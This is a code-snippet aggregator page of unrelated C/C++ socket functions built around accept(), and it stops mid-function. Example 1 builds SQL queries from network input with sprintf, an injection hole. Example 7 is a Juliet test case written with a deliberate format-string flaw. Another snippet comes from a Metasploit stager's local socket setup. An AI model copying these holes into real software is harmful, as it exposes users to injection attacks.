Exemplo n.º 1
0
Arquivo: cs_server.c Projeto: Gewin/cs
int main(int argc, char *argv[])
{
    int sockfd = -1;
    sockfd = socket(AF_INET, SOCK_STREAM, 0);
    if (sockfd == -1) {
        E("%s", strerror(errno));
        return -1;
    }

    int optval = 1;
    int ret = setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR,
                         &optval, sizeof(optval));
    if (ret == -1) {
        E("%s", strerror(errno));
        return -1;
    }
    //ret = setsockopt(sockfd, SOL_SOCKET, SO_REUSEPORT,
    //&optval, sizeof(optval));

    struct sockaddr_in addr;
    socklen_t addrlen = sizeof(addr);

    memset(&addr, '\0', addrlen);
    addr.sin_family = AF_INET;
    addr.sin_port = htons(8888);
    addr.sin_addr.s_addr = INADDR_ANY;

    ret = bind(sockfd, (struct sockaddr *)&addr, addrlen);
    if (ret == -1) {
        E("%s", strerror(errno));
        return -1;
    }

    int backlog = 20;
    ret = listen(sockfd, backlog);
    if (ret == -1) {
        E("%s", strerror(errno));
        return -1;
    }

    sqlite3 *db;
    ret = sqlite3_open("./cs_user.db", &db);
    if (ret != SQLITE_OK) {
        E("sqlite3_open() failed.");
        return -1;
    }
    int query_len_max = 512;
    char *query_line = (char *)cs_malloc(sizeof(char) * query_len_max);
    if (query_line == NULL) {
        E("cs_malloc() failed.");
        return -1;
    }

    struct sockaddr_in peer_addr;
    socklen_t peer_addrlen = sizeof(peer_addr);

    memset(&peer_addr, '\0', peer_addrlen);

    size_t buflen = 512;
    char *buf = (char *)cs_malloc(sizeof(char) * buflen);
    if (buf == NULL) {
        E("cs_malloc() failed.");
        cs_free(&query_line);
        return -1;
    }

    int peer_sockfd = -1;
    ssize_t s = 0;
    char str[INET_ADDRSTRLEN];
    while (1) {
        peer_sockfd = accept(sockfd,
                             (struct sockaddr *)&peer_addr, &peer_addrlen);
        if (peer_sockfd == -1) {
            E("%s", strerror(errno));
            break;
        }
        D("received from %s at PORT %d",
          inet_ntop(AF_INET, &peer_addr.sin_addr, str,
                    sizeof(str)),
          ntohs(peer_addr.sin_port));

        // FIXME: why server exit when client ctrl-c
        while (1) {
            memset(buf, '\0', buflen);

            s = read(peer_sockfd, buf, buflen);
            if (s == -1 || strlen(buf) == 0) {
                //E("%s", strerror(errno));
                break;
            }
            DS(buf);

            /* check username & passwd */
            cs_request_t req = cs_parse_request(buf);
            if (req.name == NULL) {
                E("cs_parse_request() failed.");
                break;
            }
            request_dump(&req);

            memset(query_line, '\0', query_len_max);
            sprintf(query_line, "select * from user where name='%s' and passwd='%s'", req.name, req.passwd);
            DS(query_line);

            int sql_select_num = 0;
            ret = sqlite3_exec(db, query_line, sql_check_identity_cb, &sql_select_num, NULL);
            if (ret == SQLITE_ABORT || sql_select_num != 1) {
                E("sqlite3_exec() failed.");
                DD(sql_select_num);
                s = write(peer_sockfd, "*", 1);
                if (s == -1) {
                    E("%s", strerror(errno));
                }
                D("send sign * to client.");
                break;
            }

            memset(buf, '\0', buflen);
            memset(query_line, '\0', query_len_max);

            /* get buddy name list */
            sprintf(query_line, "select * from %s", req.name);
            DS(query_line);

            cs_str_t buddy;
            buddy.data = buf;
            buddy.len = strlen(buf);

            ret = sqlite3_exec(db, query_line, sql_get_buddy_cb, &buddy, NULL);
            if (ret == SQLITE_ABORT) {
                E("sqlite3_exec() failed.");
                break;
            }
            DDSTR(buddy);

            request_free(&req);

            if (strlen(buf) == 0) {
                s = write(peer_sockfd, ":", 1);
                if (s == -1) {
                    E("%s", strerror(errno));
                }
                D("send sign : to client.");
                break;
            }

            s = write(peer_sockfd, buf, strlen(buf));
            if (s == -1) {
                E("%s", strerror(errno));
                break;
            }
        }
    }

    cs_free(&buf);
    cs_free(&query_line);
    sqlite3_close(db);
    ret = close(sockfd);
    if (ret == -1) {
        E("%s", strerror(errno));
        return -1;
    }

#if 0
    void FD_CLR(int fd, fd_set *set);
    int  FD_ISSET(int fd, fd_set *set);
    void FD_SET(int fd, fd_set *set);
    void FD_ZERO(fd_set *set);
    int select(int nfds, fd_set *readfds, fd_set *writefds,
               fd_set *exceptfds, struct timeval *timeout);
#endif

    return 0;
}
Exemplo n.º 2
0
void InstructionWizardDialog::on_finishButton_clicked()
{
    accept();
}
Exemplo n.º 3
0
int
main (int argc, char **argv)
{
  char *socket_file = NULL;
  const char *debug_log_flag_str = getenv ("BML_DEBUG");
  const int debug_log_flags =
      debug_log_flag_str ? atoi (debug_log_flag_str) : 0;
  BMLDebugLogger logger;
  int server_socket, client_socket;
  socklen_t addrlen;
  ssize_t size;
  struct sockaddr_un address = { 0, };
  int running = TRUE;
  BmlIpcBuf bo = IPC_BUF_INIT, bi = IPC_BUF_INIT;
  BmAPI id;

  logger = TRACE_INIT (debug_log_flags);
  TRACE ("beg\n");

  if (argc > 1) {
    socket_file = argv[1];
  } else {
    fprintf (stderr, "Usage: bmlhost <socket file>\n");
    return EXIT_FAILURE;
  }
  TRACE ("socket file: '%s'\n", socket_file);

  if (!_bmlw_setup (logger)) {
    TRACE ("bmlw setup failed\n");
    return EXIT_FAILURE;
  }
  // TODO: maybe switch to SOCK_SEQPACKET
  if ((server_socket = socket (PF_LOCAL, SOCK_STREAM, 0)) > 0) {
    TRACE ("server socket created\n");
  }

  unlink (socket_file);
  address.sun_family = PF_LOCAL;
  strcpy (&address.sun_path[1], socket_file);
  if (bind (server_socket, (struct sockaddr *) &address,
          sizeof (sa_family_t) + strlen (socket_file) + 1) != 0) {
    TRACE ("socket path already in use!\n");
  }
  // number of pending connections
  // upper limmit is /proc/sys/net/core/somaxconn usually 128 == SOMAXCONN
  // right we just have one anyway
  listen (server_socket, /* backlog of pending connections */ SOMAXCONN);
  addrlen = sizeof (struct sockaddr_in);
  client_socket =
      accept (server_socket, (struct sockaddr *) &address, &addrlen);
  if (client_socket > 0) {
    TRACE ("client connected\n");
  }
  while (running) {
    TRACE ("waiting for command ====================\n");
    bmlipc_clear (&bi);
    size = recv (client_socket, bi.buffer, IPC_BUF_SIZE, 0);
    if (size == 0) {
      TRACE ("got EOF\n");
      running = FALSE;
      continue;
    }
    if (size == -1) {
      TRACE ("ERROR: recv returned %d: %s\n", errno, strerror (errno));
      // TODO(ensonic): specific action depending on error
      continue;
    }
    bi.size = (int) size;
    TRACE ("got %d bytes\n", bi.size);
    // parse message
    id = bmlipc_read_int (&bi);
    if (bi.io_error) {
      TRACE ("message should be at least 4 bytes");
      continue;
    }
    TRACE ("command: %d\n", id);
    bmlipc_clear (&bo);
    switch (id) {
      case 0:
        running = FALSE;
        break;
      case BM_SET_MASTER_INFO:
        _bmlw_set_master_info (&bi, &bo);
        break;
      case BM_OPEN:
        _bmlw_open (&bi, &bo);
        break;
      case BM_CLOSE:
        _bmlw_close (&bi, &bo);
        break;
      case BM_GET_MACHINE_INFO:
        _bmlw_get_machine_info (&bi, &bo);
        break;
      case BM_GET_GLOBAL_PARAMETER_INFO:
        _bmlw_get_global_parameter_info (&bi, &bo);
        break;
      case BM_GET_TRACK_PARAMETER_INFO:
        _bmlw_get_track_parameter_info (&bi, &bo);
        break;
      case BM_GET_ATTRIBUTE_INFO:
        _bmlw_get_attribute_info (&bi, &bo);
        break;
      case BM_DESCRIBE_GLOBAL_VALUE:
        _bmlw_describe_global_value (&bi, &bo);
        break;
      case BM_DESCRIBE_TRACK_VALUE:
        _bmlw_describe_track_value (&bi, &bo);
        break;
      case BM_NEW:
        _bmlw_new (&bi, &bo);
        break;
      case BM_FREE:
        _bmlw_free (&bi, &bo);
        break;
      case BM_INIT:
        _bmlw_init (&bi, &bo);
        break;
      case BM_GET_TRACK_PARAMETER_VALUE:
        _bmlw_get_track_parameter_value (&bi, &bo);
        break;
      case BM_SET_TRACK_PARAMETER_VALUE:
        _bmlw_set_track_parameter_value (&bi, &bo);
        break;
      case BM_GET_GLOBAL_PARAMETER_VALUE:
        _bmlw_get_global_parameter_value (&bi, &bo);
        break;
      case BM_SET_GLOBAL_PARAMETER_VALUE:
        _bmlw_set_global_parameter_value (&bi, &bo);
        break;
      case BM_GET_ATTRIBUTE_VALUE:
        _bmlw_get_attribute_value (&bi, &bo);
        break;
      case BM_SET_ATTRIBUTE_VALUE:
        _bmlw_set_attribute_value (&bi, &bo);
        break;
      case BM_TICK:
        _bmlw_tick (&bi, &bo);
        break;
      case BM_WORK:
        _bmlw_work (&bi, &bo);
        break;
      case BM_WORK_M2S:
        _bmlw_work_m2s (&bi, &bo);
        break;
      case BM_STOP:
        _bmlw_stop (&bi, &bo);
        break;
      case BM_ATTRIBUTES_CHANGED:
        _bmlw_attributes_changed (&bi, &bo);
        break;
      case BM_SET_NUM_TRACKS:
        _bmlw_set_num_tracks (&bi, &bo);
        break;
      case BM_SET_CALLBACKS:
        TRACE ("FIXME");
        break;
      default:
        break;
    }
    if (bo.size) {
      size = send (client_socket, bo.buffer, bo.size, MSG_NOSIGNAL);
      TRACE ("sent %d of %d bytes\n", size, bo.size);
      if (size == -1) {
        TRACE ("ERROR: send returned %d: %s\n", errno, strerror (errno));
        // TODO(ensonic): specific action depending on error
      }
    }
  }
  close (client_socket);
  close (server_socket);
  unlink (socket_file);

  _bmlw_finalize ();
  TRACE ("end\n");
  return EXIT_SUCCESS;
}
void applyDiscount::sApply()
{
  accept();
}
Exemplo n.º 5
0
/*
 * XXX This is ugly
 * We create and bind a socket, then fork off to another
 * process, which connects to this socket, after which we
 * exec the wanted program.  If something (strange) happens,
 * the accept() call could block us forever.
 * 
 * do_pty = 0   Fork/exec inetd style
 * do_pty = 1   Fork/exec using slirp.telnetd
 * do_ptr = 2   Fork/exec using pty
 */
int fork_exec(struct socket *so, char *ex, int do_pty)
{
	int s;
	struct sockaddr_in addr;
	socklen_t addrlen = sizeof(addr);
	int opt;
        int master;
	char *argv[256];
#if 0
	char buff[256];
#endif
	/* don't want to clobber the original */
	char *bptr;
	char *curarg;
	int c, i, ret;
	
	DEBUG_CALL("fork_exec");
	DEBUG_ARG("so = %lx", (long)so);
	DEBUG_ARG("ex = %lx", (long)ex);
	DEBUG_ARG("do_pty = %lx", (long)do_pty);
	
	if (do_pty == 2) {
		if (slirp_openpty(&master, &s) == -1) {
			lprint("Error: openpty failed: %s\n", strerror(errno));
			return 0;
		}
	} else {
		memset(&addr, 0, sizeof(struct sockaddr_in));
		addr.sin_family = AF_INET;
		addr.sin_port = 0;
		addr.sin_addr.s_addr = INADDR_ANY;
		
		if ((s = socket(AF_INET, SOCK_STREAM, 0)) < 0 ||
		    bind(s, (struct sockaddr *)&addr, addrlen) < 0 ||
		    listen(s, 1) < 0) {
			lprint("Error: inet socket: %s\n", strerror(errno));
			closesocket(s);
			
			return 0;
		}
	}
	
	switch(fork()) {
	 case -1:
		lprint("Error: fork failed: %s\n", strerror(errno));
		close(s);
		if (do_pty == 2)
		   close(master);
		return 0;
		
	 case 0:
		/* Set the DISPLAY */
		if (do_pty == 2) {
			(void) close(master);
#ifdef TIOCSCTTY /* XXXXX */
			(void) setsid();
			ioctl(s, TIOCSCTTY, (char *)NULL);
#endif
		} else {
			getsockname(s, (struct sockaddr *)&addr, &addrlen);
			close(s);
			/*
			 * Connect to the socket
			 * XXX If any of these fail, we're in trouble!
	 		 */
			s = socket(AF_INET, SOCK_STREAM, 0);
			addr.sin_addr = loopback_addr;
                        do {
                            ret = connect(s, (struct sockaddr *)&addr, addrlen);
                        } while (ret < 0 && errno == EINTR);
		}
		
#if 0
		if (x_port >= 0) {
#ifdef HAVE_SETENV
			sprintf(buff, "%s:%d.%d", inet_ntoa(our_addr), x_port, x_screen);
			setenv("DISPLAY", buff, 1);
#else
			sprintf(buff, "DISPLAY=%s:%d.%d", inet_ntoa(our_addr), x_port, x_screen);
			putenv(buff);
#endif
		}
#endif	
		dup2(s, 0);
		dup2(s, 1);
		dup2(s, 2);
		for (s = 3; s <= 255; s++)
		   close(s);
		
		i = 0;
		bptr = strdup(ex); /* No need to free() this */
		if (do_pty == 1) {
			/* Setup "slirp.telnetd -x" */
			argv[i++] = "slirp.telnetd";
			argv[i++] = "-x";
			argv[i++] = bptr;
		} else
		   do {
			/* Change the string into argv[] */
			curarg = bptr;
			while (*bptr != ' ' && *bptr != (char)0)
			   bptr++;
			c = *bptr;
			*bptr++ = (char)0;
			argv[i++] = strdup(curarg);
		   } while (c);
		
		argv[i] = 0;
		execvp(argv[0], argv);
		
		/* Ooops, failed, let's tell the user why */
		  {
			  char buff[256];
			  
			  sprintf(buff, "Error: execvp of %s failed: %s\n", 
				  argv[0], strerror(errno));
			  write(2, buff, strlen(buff)+1);
		  }
		close(0); close(1); close(2); /* XXX */
		exit(1);
		
	 default:
		if (do_pty == 2) {
			close(s);
			so->s = master;
		} else {
			/*
			 * XXX this could block us...
			 * XXX Should set a timer here, and if accept() doesn't
		 	 * return after X seconds, declare it a failure
		 	 * The only reason this will block forever is if socket()
		 	 * of connect() fail in the child process
		 	 */
                        do {
                            so->s = accept(s, (struct sockaddr *)&addr, &addrlen);
                        } while (so->s < 0 && errno == EINTR);
                        closesocket(s);
			opt = 1;
			setsockopt(so->s,SOL_SOCKET,SO_REUSEADDR,(char *)&opt,sizeof(int));
			opt = 1;
			setsockopt(so->s,SOL_SOCKET,SO_OOBINLINE,(char *)&opt,sizeof(int));
		}
		fd_nonblock(so->s);
		
		/* Append the telnet options now */
		if (so->so_m != 0 && do_pty == 1)  {
			sbappend(so, so->so_m);
			so->so_m = 0;
		}
		
		return 1;
	}
}
Exemplo n.º 6
0
static void listener(void)
{
     struct sigaction sa;
     struct sockaddr_in my_addr, cl_addr;
     int s, s1, opt;

     memset(&my_addr, 0, sizeof(my_addr));
     my_addr.sin_family = AF_INET;

     /* Set listen address */
     if( generic_addr(&my_addr, &vtun.bind_addr) < 0)
     {
        vtun_syslog(LOG_ERR, "Can't fill in listen socket");
        exit(1);
     }

     if( (s=socket(AF_INET,SOCK_STREAM,0))== -1 ){
	vtun_syslog(LOG_ERR,"Can't create socket");
	exit(1);
     }

     opt=1;
     setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt)); 

     if( bind(s,(struct sockaddr *)&my_addr,sizeof(my_addr)) ){
	vtun_syslog(LOG_ERR,"Can't bind to the socket");
	exit(1);
     }

     if( listen(s, 10) ){
	vtun_syslog(LOG_ERR,"Can't listen on the socket");
	exit(1);
     }

     memset(&sa,0,sizeof(sa));
     sa.sa_flags = SA_NOCLDWAIT;
     sa.sa_handler=sig_term;
     sigaction(SIGTERM,&sa,NULL);
     sigaction(SIGINT,&sa,NULL);
     server_term = 0;

     set_title("waiting for connections on port %d", vtun.bind_addr.port);

     while( (!server_term) || (server_term == VTUN_SIG_HUP) ){
        opt=sizeof(cl_addr);
	if( (s1=accept(s,(struct sockaddr *)&cl_addr,&opt)) < 0 )
	   continue; 

	switch( fork() ){
	   case 0:
	      close(s);
	      connection(s1);
	      break;
	   case -1:
	      vtun_syslog(LOG_ERR, "Couldn't fork()");
	   default:
	      close(s1);
	      break;
	}
     }  
}	
void CWE134_Uncontrolled_Format_String__char_listen_socket_w32_vsnprintf_14_bad()
{
    char * data;
    char dataBuffer[100] = "";
    data = dataBuffer;
    if(globalFive==5)
    {
        {
#ifdef _WIN32
            WSADATA wsaData;
            int wsaDataInit = 0;
#endif
            int recvResult;
            struct sockaddr_in service;
            char *replace;
            SOCKET listenSocket = INVALID_SOCKET;
            SOCKET acceptSocket = INVALID_SOCKET;
            size_t dataLen = strlen(data);
            do
            {
#ifdef _WIN32
                if (WSAStartup(MAKEWORD(2,2), &wsaData) != NO_ERROR)
                {
                    break;
                }
                wsaDataInit = 1;
#endif
                /* POTENTIAL FLAW: Read data using a listen socket */
                listenSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
                if (listenSocket == INVALID_SOCKET)
                {
                    break;
                }
                memset(&service, 0, sizeof(service));
                service.sin_family = AF_INET;
                service.sin_addr.s_addr = INADDR_ANY;
                service.sin_port = htons(TCP_PORT);
                if (bind(listenSocket, (struct sockaddr*)&service, sizeof(service)) == SOCKET_ERROR)
                {
                    break;
                }
                if (listen(listenSocket, LISTEN_BACKLOG) == SOCKET_ERROR)
                {
                    break;
                }
                acceptSocket = accept(listenSocket, NULL, NULL);
                if (acceptSocket == SOCKET_ERROR)
                {
                    break;
                }
                /* Abort on error or the connection was closed */
                recvResult = recv(acceptSocket, (char *)(data + dataLen), sizeof(char) * (100 - dataLen - 1), 0);
                if (recvResult == SOCKET_ERROR || recvResult == 0)
                {
                    break;
                }
                /* Append null terminator */
                data[dataLen + recvResult / sizeof(char)] = '\0';
                /* Eliminate CRLF */
                replace = strchr(data, '\r');
                if (replace)
                {
                    *replace = '\0';
                }
                replace = strchr(data, '\n');
                if (replace)
                {
                    *replace = '\0';
                }
            }
            while (0);
            if (listenSocket != INVALID_SOCKET)
            {
                CLOSE_SOCKET(listenSocket);
            }
            if (acceptSocket != INVALID_SOCKET)
            {
                CLOSE_SOCKET(acceptSocket);
            }
#ifdef _WIN32
            if (wsaDataInit)
            {
                WSACleanup();
            }
#endif
        }
    }
    if(globalFive==5)
    {
        badVaSinkB(data, data);
    }
}
Exemplo n.º 8
0
DWORD HttpTunnel::InitializeLocalConnection()
{
	struct sockaddr_in Sin;
	USHORT  LocalPort         = 0;
	DWORD Attempts            = 0;
	DWORD Result              = ERROR_SUCCESS;
	HMODULE hWinsock          = NULL;
	WSASOCKETA pWSASocketA    = NULL;
	WSADATA wsaData;

	hWinsock = LoadLibraryA( "WS2_32.DLL" );
	if( hWinsock == NULL )
	{
  		CPassiveX::Log( TEXT("DownloadSecondStage(): LoadLibraryA for WS2_32.DLL failed.\n") );
		return !ERROR_SUCCESS;
	}

	pWSASocketA = (WSASOCKETA)GetProcAddress( hWinsock, "WSASocketA");
	if( pWSASocketA == NULL )
	{
  		CPassiveX::Log( TEXT("DownloadSecondStage(): GetProcAddress for WSASocketA failed.\n") );
		return !ERROR_SUCCESS;
	}

	if( WSAStartup( MAKEWORD(2,2), &wsaData ) !=  0 )
	{
  		CPassiveX::Log( TEXT("DownloadSecondStage(): WSAStartup failed.\n") );
		return !ERROR_SUCCESS;
	}

	do
	{
		// Create the TCP listener socket
		//LocalTcpListener = pWSASocketA( AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0 ,0 );
		LocalTcpListener = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );
		if( LocalTcpListener == INVALID_SOCKET )
		{
			LocalTcpListener = 0;
			Result           = WSAGetLastError();
			break;
		}

		// Create the TCP client socket
		LocalTcpClientSide = pWSASocketA( AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0 ,0 );
		if( LocalTcpClientSide == INVALID_SOCKET )
		{
			LocalTcpClientSide = 0;
			Result             = WSAGetLastError();
			break;
		}

		Sin.sin_family      = AF_INET;
		Sin.sin_addr.s_addr = inet_addr("127.0.0.1");

		// Try 256 times to pick a random port
		Sin.sin_port = htons(LocalPort = (rand() % 32000) + 1025);

		while( ( bind( LocalTcpListener, (struct sockaddr *)&Sin, sizeof(Sin) ) == SOCKET_ERROR ) && (Attempts++ < 256) )
		{
			Sin.sin_port = htons(LocalPort = (rand() % 32000) + 1025);
		}

		// If we failed to create the local listener, bomb out
		if (Attempts >= 256)
		{
			Result = WSAGetLastError();
			break;
		}

		// Listen and stuff
		if (listen( LocalTcpListener, 1) == SOCKET_ERROR)
		{
			Result = WSAGetLastError();
			break;
		}

		// Establish a connection to the local listener
		if (connect( LocalTcpClientSide, (struct sockaddr *)&Sin, sizeof(Sin)) == SOCKET_ERROR)
		{
			Result = WSAGetLastError();
			break;
		}

		// Accept the local TCP connection
		if ((LocalTcpServerSide = accept( LocalTcpListener, NULL, NULL)) == SOCKET_ERROR)
		{
			LocalTcpServerSide = 0;
			Result = WSAGetLastError();
			break;
		}

		// Woop!
		Result = ERROR_SUCCESS;

	} while (0);

	return Result;
}
Exemplo n.º 9
0
void CNotify::on_okButton_clicked(){ accept();  }
Exemplo n.º 10
0
int server(char* port) {

	int completed=0;


	node *IP_list = NULL;
	int noOfConnections=0;
	int cmdNo;

	fd_set read_fds, write_fds,read_fds_copy,write_fds_copy;
	FD_ZERO(&read_fds);
	FD_ZERO(&write_fds);
	
	//int fdMax = STDIN_FILENO;
	int fdMax = 0; // 0 is file descriptor for standard input 
	int serverSocket, nSocket,selected;  
	struct sockaddr_in serverAddress,clientAddress;
	struct sockaddr_storage getPeerInfo;
	socklen_t clientAddrLen = sizeof(clientAddress);

	char msg[5000]; 
	int numBytes;

	serverSocket= socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);  

	printf("Server created \n");
	
	if(serverSocket == -1) {
		printf("Server: Socket creation failed\n");
	}

	fdMax = serverSocket;
	/* Beej: Allows other sockets to bind() to this port, unless there is an active listening socket bound to the port already. 
	This enables you to get around those "Address already in use" error messages when you try to restart your server after a crash. */
	int socketReuse = 1; 
	setsockopt(serverSocket,SOL_SOCKET,SO_REUSEADDR,&socketReuse,sizeof(int));


	serverAddress.sin_addr.s_addr = INADDR_ANY;
	serverAddress.sin_family = AF_INET;
	serverAddress.sin_port = htons(atoi(port)); //network Byte order

	// bind
	if(bind(serverSocket,(struct sockaddr*)&serverAddress,sizeof(serverAddress))== -1) {
		printf("Server: Binding failed\n");
		close(serverSocket); 
	}
	printf("Server has been bound to port %d \n",atoi(port));

	//printf("Server sockets is %d \n",serverSocket);

	listen(serverSocket,10);

	FD_SET(STDIN_FILENO,&read_fds);
	FD_SET(serverSocket,&read_fds);
	
	while(1) {
		// Create copies of fd_sets because select will modify them
		read_fds_copy = read_fds;
		write_fds_copy = write_fds;
		if (select(fdMax+1, &read_fds_copy,NULL, NULL, NULL) == -1) {
			perror("Server : Select error");
			continue;
		}
		for(selected = 0;selected<=fdMax;selected++) {
			if(FD_ISSET(selected,&read_fds_copy)) {
				/* Need to handle  3 scenarios
				1. Data available from Server socket (New Client arrives)
				2. Data available from Standard Input (Commands)
				3. Data available from clients (SYNC? )
				*/
				if(selected==serverSocket){ // Scenario 1
					printf("Server : A client is trying to connect.\n");
					
					memset(&clientAddress, 0, sizeof(clientAddrLen));
					if ((nSocket = accept(serverSocket,(struct sockaddr*)&clientAddress,&clientAddrLen))==-1) {
						printf("Server: Accept failed\n");
					}
					
					if (noOfConnections >= 4) {
						close(nSocket);
						printf("Server : Connection limit exceeded!\n");
						continue;
					}

					memset(msg,0,5000);
					// receive clients listening port number
					numBytes = recv(nSocket,msg,5000,0);
					printf("New connection from %s : %d \n",inet_ntoa(clientAddress.sin_addr),atoi(msg));
					printf("Client has been registered .Yay!\n");


					setsockopt(nSocket,SOL_SOCKET,SO_REUSEADDR,&socketReuse,sizeof(int));
					push(clientAddress,nSocket,atoi(msg),&IP_list);
										noOfConnections++;

					sendAll(IP_list,noOfConnections);
					FD_SET(nSocket,&read_fds);
					
					if(nSocket > fdMax) 
						fdMax = nSocket;
				} // End Scenario 1
				if(selected==0){ // Scenario 2
					memset(msg,0,sizeof(msg)); // clear msg array
					if ((numBytes = read(selected, msg, sizeof(msg))) <= 0)
						perror("Server read error");

					cmdNo=parse(msg);
					int fd;

					switch(cmdNo){
						case 0: // HELP
						help();
						break;
						case 1:
						creator(); //CREATOR
						break;
						case 2:
						display(port,1); //DISPLAY 
						break;
						case 3: //REGISTER
						printf("REGISTER command not available for server\n");
						break;
						case 4: //CONNECT 
						printf("CONNECT command not available for server\n");
						break;
						case 5: //LIST
						displayList(IP_list); 
						break;
						case 6: //TERMINATE 
						fd=terminate(&IP_list);
                            if(fd!=-1){
                                FD_CLR(fd,&read_fds);
                                FD_CLR(fd,&write_fds);

                                fdMax = getMaxFD(IP_list);
                                noOfConnections--;
                                if(noOfConnections==0){
                                    IP_list=NULL;
                                }

                            }
                            else{
                                printf("Invalid connection ID \n");

                            }
						break;
						break;
						case 7: //QUIT
						quit(&IP_list);
						return 1;
						break;
						case 8: //GET
						printf("GET command not available for server\n");
						break;
						case 9: //PUT
						printf("PUT command not available for server\n");
						break;
						case 10: //SYNC
						printf("SYNC command not available for server\n");
						break;
					}
				} // End Scenario 2

                else { // Scenario 3

					if ((numBytes = recv(selected, msg, 5000, 0)) <= 0) {
						if (numBytes == 0)
						{

							if(getpeername(selected,(struct sockaddr*)&getPeerInfo,&clientAddrLen)<0)
							{
								perror("Server : Error\n");
								return 0;
							}

							struct sockaddr_in *s = (struct sockaddr_in *)&getPeerInfo;

							char* IPAdd = (char*)malloc(sizeof(char)*INET6_ADDRSTRLEN);
							int targetPort = ntohs(ntohs(s->sin_port));
							inet_ntop(AF_INET, &(s->sin_addr), IPAdd, INET6_ADDRSTRLEN);

							printf("Server: Connection closed by IP %s\n",IPAdd);

							
							delete(IPAdd,targetPort,&IP_list);
							FD_CLR(selected,&read_fds);
							close(selected);
							noOfConnections--;

							if(noOfConnections == 0){
								printf("All connections are closed\n");
								IP_list=NULL;}
							else
							{
								// Broad cast current peer list
								fdMax = getMaxFD(IP_list);
								sendAll(IP_list,noOfConnections);
								
							}
						}
						else
						{
							//perror("Server");
						}
					}
					else// we got some data from a client
					{


						char command1[4];
						char command2[6];
                        memcpy(command1,msg,4); // Extract first 3 characters from incoming data
                        memcpy(command2,msg,6); // Extract first 3 characters from incoming data


                        if(!(strcmp(command1,"SYNC")) || (!(strcmp(command1,"sync")))) { // Check if it is GET command


                        	printf("Triggering SYNC on all connected peers!\n");


                        	node *curr=IP_list;
                        	
							syncRelay(curr);
							memset(msg,0,5000); // reset read buffer
							curr=curr->next;
							completed++;
					



                        }


                        else if(!(strcmp(command2,"E_SYNC")) || (!(strcmp(command2,"e_sync")))) { // Check if it is GET command

                        	printf("ESYNC received\n");
                        	int i;

                        	node *curr=IP_list;


                        	if(completed!=noOfConnections){
                        		for(i=0;i<completed;i++){
                        			curr=curr->next;
                        		}
                        		syncRelay(curr);
                        		completed++;
                        	}
                        	else if(completed==noOfConnections){
                        		completed=0;
                        	}


							memset(msg,0,5000); // reset read buffer



                        }

					}
                }
			}
		}
	}
}
Exemplo n.º 11
0
unsigned int CEvSockets::Accept(unsigned int lsocket)
{
	SOCKET polaczony;
	polaczony = accept(lsocket,(struct sockaddr *)&sinS, &rozmiarS);
	return polaczony;
}
Exemplo n.º 12
0
int
socket_accept4(int s, char* ip, uint16* port) {
  struct sockaddr_in si;
  socklen_t len = sizeof si;
  int64 fd;

#if WINDOWS_NATIVE && !defined(USE_SELECT)
  io_entry* e = array_get(io_getfds(), sizeof(io_entry), s);
  if(e && e->inuse) {
    int sa2len;
    fd = -1;
    if(e->acceptqueued == 1) {
      errno = EAGAIN;
      return -1;
    }
    if(e->acceptqueued == 2) {
    incoming:
      /* incoming! */
      {
        struct sockaddr *x, *y;
        GetAcceptExSockaddrs(e->inbuf, 0, 200, 200, &x, &sa2len, &y, &len);
        if(len > sizeof(si))
          len = sizeof(si);
        byte_copy(&si, len, y);
      }
      fd = e->next_accept;
      e->next_accept = 0;
      if(e->nonblock) {
        if(io_fd(fd)) {
          io_entry* f = array_get(io_getfds(), sizeof(io_entry), fd);
          if(f) {
            f->nonblock = 1;
            /*      printf("setting fd %lu to non-blocking\n",(int64)fd); */
          }
        }
      }
    }

    /* no accept queued, queue one now. */
    if(e->next_accept == 0) {
      e->next_accept = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
      if(e == INVALID_HANDLE_VALUE)
        return winsock2errno(-1);
    }
    if(AcceptEx(s, e->next_accept, e->inbuf, 0, 200, 200, &e->errorcode, &e->or))
      goto incoming;
    if(WSAGetLastError() != ERROR_IO_PENDING)
      return winsock2errno(-1);
    e->acceptqueued = 1;
    if(fd == -1) {
      errno = EAGAIN;
      return fd;
    }

  } else {
#endif

    if((fd = accept(s, (void*)&si, &len)) == -1)
      return winsock2errno(-1);

#if WINDOWS_NATIVE && !defined(USE_SELECT)
  }
#endif
  if(ip)
    *(uint32*)ip = *(uint32*)&si.sin_addr;
  if(port)
    uint16_unpack_big((char*)&si.sin_port, port);
  return fd;
}
Exemplo n.º 13
0
void LogConfigDialog::buildDialog()
{
  setWindowTitle(tr("Configure Logging"));
  QPushButton* button;
  QVBoxLayout *vLayout;
  QHBoxLayout *hLayout;
  QFormLayout *fLayout = new QFormLayout;

  m_configFilePath = new QLineEdit();
  m_logFilePath = new QLineEdit();

  hLayout = new QHBoxLayout();

  vLayout = new QVBoxLayout();
  vLayout->addWidget(new QLabel(tr("Configuration File: ")));
  vLayout->addWidget(new QLabel(tr("Log File: ")));
  hLayout->addLayout(vLayout);

  vLayout = new QVBoxLayout();
  vLayout->addWidget(m_configFilePath);
  vLayout->addWidget(m_logFilePath);
  hLayout->addLayout(vLayout);

  vLayout = new QVBoxLayout();
  button = new QPushButton(tr("Load"));
  connect(button, SIGNAL(clicked()), this, SLOT(loadLogConfiguration()));
  vLayout->addWidget(button);
  button = new QPushButton(tr("Select"));
  connect(button, SIGNAL(clicked()), this, SLOT(selectLogFile()));
  vLayout->addWidget(button);
  hLayout->addLayout(vLayout);

  vLayout = new QVBoxLayout();
  button = new QPushButton(tr("Save"));
  connect(button, SIGNAL(clicked()), this, SLOT(saveLogConfiguration()));
  vLayout->addWidget(button);
  vLayout->addStretch();
  hLayout->addLayout(vLayout);

  fLayout->addRow(hLayout);

  hLayout = new QHBoxLayout();
  vLayout = new QVBoxLayout();
  vLayout->addWidget(new QLabel(tr("Routings:")));
  button = new QPushButton(tr("Edit"));
  connect(button, SIGNAL(clicked()), this, SLOT(editSelectedRouting()));
  vLayout->addWidget(button);
  button = new QPushButton(tr("Add"));
  connect(button, SIGNAL(clicked()), this, SLOT(addRouting()));
  vLayout->addWidget(button);
  button = new QPushButton(tr("Copy"));
  connect(button, SIGNAL(clicked()), this, SLOT(copyRouting()));
  vLayout->addWidget(button);
